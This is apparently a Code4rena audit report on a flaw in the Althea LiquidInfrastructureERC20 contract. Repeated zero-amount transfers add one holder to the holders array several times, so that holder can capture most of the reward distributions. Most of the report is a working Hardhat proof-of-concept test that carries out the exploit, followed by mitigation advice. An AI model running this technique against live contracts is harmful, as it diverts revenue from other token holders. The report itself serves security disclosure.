Althea Liquid Infrastructure - cryptphi's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146

Vulnerability details

Impact

The LiquidInfrastructureERC20 contract is written in such a way that revenue is gathered from managed LiquidInfrastructureNFTs by the protocol and distributed to token holders on a semi-regular basis. With, Minting and burning of Infra ERC20 restricted if the minimum distribution period has elapsed, and it is reenabled once a new distribution is complete.

However, this does not prevent users from calling the transfer() or transferFrom() functions of Infra ERC20 token. This would allow any already approved holder to be able to call any a transfer function, which then makes an internal call of the overriden _beforeTokenTransfer() , with this call and since balance of Infra ERC20 for the approved holder is zero, the approved holder is added to the holders array due to no check for a previously added holder in the holders array. Since, there is no check for double entry in the array, the above transfer can be done (n) multiple times for multiple entries to the array with the same holder address, until mint begins.

Now once minting begins for all holders, but contract owner calls mint() rather than mintAndDistribute(), the previous holder above gets added to the holders array once again.

Assume first distribution time is reached, and a calls distribute(n-number-of-distributions),such that n-number-of distributions is the amount of entries for the "malicious" holder in the holders array. With this, the malicious holder would be able to gain the bulk of the revenue from the contract.

Proof of Concept

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146 contains the vulnerable logic

1. Holders A and B are approved by Owner, and Infra ERC20 contract holds 1000000 reward tokens for distribution.
2. Before Owner mints Infra ERC20 tokens to holders, Holder B uses a seperate address to call the transfer() function of the Infra ERC20 token 2 times.
3. Owner, unaware, mints 100 tokens each to holders A and B by calling mint() function.
4. Holder B sees this and immediately calls distribute() with argument value 2.
5. All 1000000 tokens of the reward are distributed to holder B.

The test below is a PoC of the finding:

import chai from "chai";

import { mine } from "@nomicfoundation/hardhat-network-helpers";
import { ethers } from "hardhat";
import {
  deployContracts,
  deployERC20A,
  deployLiquidERC20,
  deployLiquidNFT,
} from "../test-utils";
import {
  TestERC20A,
  TestERC20B,
  TestERC20C,
  LiquidInfrastructureNFT,
  LiquidInfrastructureERC20,
} from "../typechain-types/contracts";
import { ERC20 } from "../typechain-types/@openzeppelin/contracts/token/ERC20";
import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";
const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = chai;

const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";
const ONE_ETH = 1000000000000000000;

// This test makes assertions about the LiquidInfrastructureERC20 contract by running it on hardhat
//
// Important test details:
// Contract interactions happen via hardhat-ethers: https://hardhat.org/hardhat-runner/plugins/nomiclabs-hardhat-ethers
// Chai is used to make assertions https://www.chaijs.com/api/bdd/
// Ethereum-waffle is used to extend chai and add ethereum matchers: https://ethereum-waffle.readthedocs.io/en/latest/matchers.html
async function liquidErc20Fixture() {
  const signers = await ethers.getSigners();
  const nftAccount1 = signers[0];
  const nftAccount2 = signers[1];
  const nftAccount3 = signers[2];
  const erc20Owner = signers[3];
  const holder1 = signers[4];
  const holder2 = signers[5];
  const holder3 = signers[6];
  const holder4 = signers[7];
  const badSigner = signers[8];
  const nonHolder = signers[9];

  // Deploy several ERC20 tokens to use as revenue currencies
  //////////////////
  const { testERC20A, testERC20B, testERC20C } = await deployContracts(
    erc20Owner
  );
  const erc20Addresses = [
    await testERC20A.getAddress(),
    await testERC20B.getAddress(),
    await testERC20C.getAddress(),
  ];

  // Deploy the LiquidInfra ERC20 token with no initial holders nor managed NFTs
  //////////////////
  const infraERC20 = await deployLiquidERC20(
    erc20Owner,
    "Infra",
    "INFRA",
    [],
    [],
    500,
    erc20Addresses
  );

  expect(await infraERC20.totalSupply()).to.equal(0);
  expect(await infraERC20.name()).to.equal("Infra");
  expect(await infraERC20.symbol()).to.equal("INFRA");
  await expect(infraERC20.ManagedNFTs(0)).to.be.reverted;
  expect(await infraERC20.isApprovedHolder(holder1.address)).to.equal(false);
  await expect(infraERC20.mint(holder1.address, 1000)).to.be.reverted;
  expect(await infraERC20.balanceOf(holder1.address)).to.equal(0);

  return {
    infraERC20,
    testERC20A,
    testERC20B,
    testERC20C,
    signers,
    nftAccount1,
    nftAccount2,
    nftAccount3,
    erc20Owner,
    holder1,
    holder2,
    holder3,
    holder4,
    badSigner,
    nonHolder,
  };
}

export async function transferNftToErc20AndManage(
  infraERC20: LiquidInfrastructureERC20,
  nftToManage: LiquidInfrastructureNFT,
  nftOwner: HardhatEthersSigner
) {
  const infraAddress = await infraERC20.getAddress();
  const accountId = await nftToManage.AccountId();
  expect(await nftToManage.transferFrom(nftOwner, infraAddress, accountId)).to
    .be.ok;
  expect(await nftToManage.ownerOf(accountId)).to.equal(
    infraAddress,
    "unexpected nft owner"
  );

  expect(await infraERC20.addManagedNFT(await nftToManage.getAddress()))
    .to.emit(infraERC20, "AddManagedNFT")
    .withArgs(await nftToManage.getAddress());
}

async function basicDistributionTests(
  infraERC20: LiquidInfrastructureERC20,
  infraERC20Owner: HardhatEthersSigner,
  holders: HardhatEthersSigner[],
  nftOwners: HardhatEthersSigner[],
  nfts: LiquidInfrastructureNFT[],
  rewardErc20s: ERC20[]
) {
  const [holder1, holder2, holder3, holder4] = holders.slice(0, 4);
  const [nftOwner1, nftOwner2, nftOwner3] = nftOwners.slice(0, 3);
  let [nft1, nft2, nft3] = nfts.slice(0, 3);
  const [erc20a, erc20b, erc20c] = rewardErc20s.slice(0, 3);
  const erc20Addresses = [
    await erc20a.getAddress(),
    await erc20b.getAddress(),
    await erc20c.getAddress(),
  ];

  // Register one NFT as a source of reward erc20s
  await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1);
  await mine(1);
  nft1 = nft1.connect(infraERC20Owner);

  // Allocate some rewards to the NFT
  const rewardAmount1 = 1000000;
  await erc20a.transfer(await nft1.getAddress(), rewardAmount1);
  expect(await erc20a.balanceOf(await nft1.getAddress())).to.equal(
    rewardAmount1
  );

  // And then send the rewards to the ERC20
  await expect(infraERC20.withdrawFromAllManagedNFTs())
    .to.emit(infraERC20, "WithdrawalStarted")
    .and.emit(nft1, "SuccessfulWithdrawal")
    .and.emit(erc20a, "Transfer")
    .withArgs(
      await nft1.getAddress(),
      await infraERC20.getAddress(),
      rewardAmount1
    )
    .and.emit(infraERC20, "Withdrawal")
    .withArgs(await nft1.getAddress())
    .and.emit(infraERC20, "WithdrawalFinished");

  // Attempt to distribute with no holders
  await expect(infraERC20.distributeToAllHolders()).to.not.emit(
    infraERC20,
    "Distribution"
  );
  console.log("Reward Balance of holder1 before distribution: ", await erc20a.balanceOf(holder1.address));
  console.log("Reward Balance of holder4 before distribution: ", await erc20a.balanceOf(holder4.address));

  //push holder4 to holders array multiple times before mint
  const signers = await ethers.getSigners();
  const nonHolder = signers[10];
  for(let i = 0; i < 2; i++) {
    await expect(infraERC20.connect(nonHolder).transfer(holder4.address, 0)).to.not.be.reverted;
    console.log("Transfer zero amount before distribution is successful");
  }

  // Grant a holders 1 and 4 some of the Infra ERC20 tokens and then distribute all held rewards to them

  //Mint Infra ERC20 token to holder1
  await expect(infraERC20.mint(holder1.address, 100))
    .to.emit(infraERC20, "Transfer")
    .withArgs(ZERO_ADDRESS, holder1.address, 100);

    //mint for holder4
  await expect(infraERC20.mint(holder4.address, 100))
    .to.emit(infraERC20, "Transfer")
    .withArgs(ZERO_ADDRESS, holder4.address, 100);

  //fastforward to MinDistributionPeriod
  await mine(500);

  //distribute for 2 distributions (expectation was to distribute to holders 1 and 4)
  await expect(infraERC20.distribute(2))
    .to.emit(infraERC20, "DistributionStarted")
    .and.emit(infraERC20, "Distribution")
    .and.emit(erc20a, "Transfer")
    console.log("Reward Balance of holder1 after distribution: ", await erc20a.balanceOf(holder1.address));
    console.log("Reward Balance of holder4 after distribution: ", await erc20a.balanceOf(holder4.address));
//   await expect(infraERC20.distributeToAllHolders()).to.be.revertedWith("ERC20: transfer amount exceeds balance");
}


describe("An holder can be distributed more rewards than others even with same Infra ERC20 share amount", function () {
  it("manages distributions (basic)", async function () {
    const {
      infraERC20,
      erc20Owner,
      testERC20A,
      testERC20B,
      testERC20C,
      nftAccount1,
      nftAccount2,
      nftAccount3,
      holder1,
      holder2,
      holder3,
      holder4,
    } = await liquidErc20Fixture();

    const holders = [holder1, holder2, holder3, holder4];
    for (let holder of holders) {
      const address = holder.address;
      await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
    }
    const nftOwners = [nftAccount1, nftAccount2, nftAccount3];
    let nfts: LiquidInfrastructureNFT[] = [
      await deployLiquidNFT(nftAccount1),
      await deployLiquidNFT(nftAccount2),
      await deployLiquidNFT(nftAccount3),
    ];
    const erc20s: ERC20[] = [testERC20A, testERC20B, testERC20C];
    for (const nft of nfts) {
      nft.setThresholds(
        erc20s,
        erc20s.map(() => 0)
      );
    }
    await basicDistributionTests(
      infraERC20,
      erc20Owner,
      holders,
      nftOwners,
      nfts,
      erc20s
    );
  });

});

Tools Used

Manual

Recommended Mitigation Steps

1. add a duplicate check before https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L144 in the internal _beforeTokenTransfer() function.
2. Or use a enumerableMap with a check.

Assessed type

Other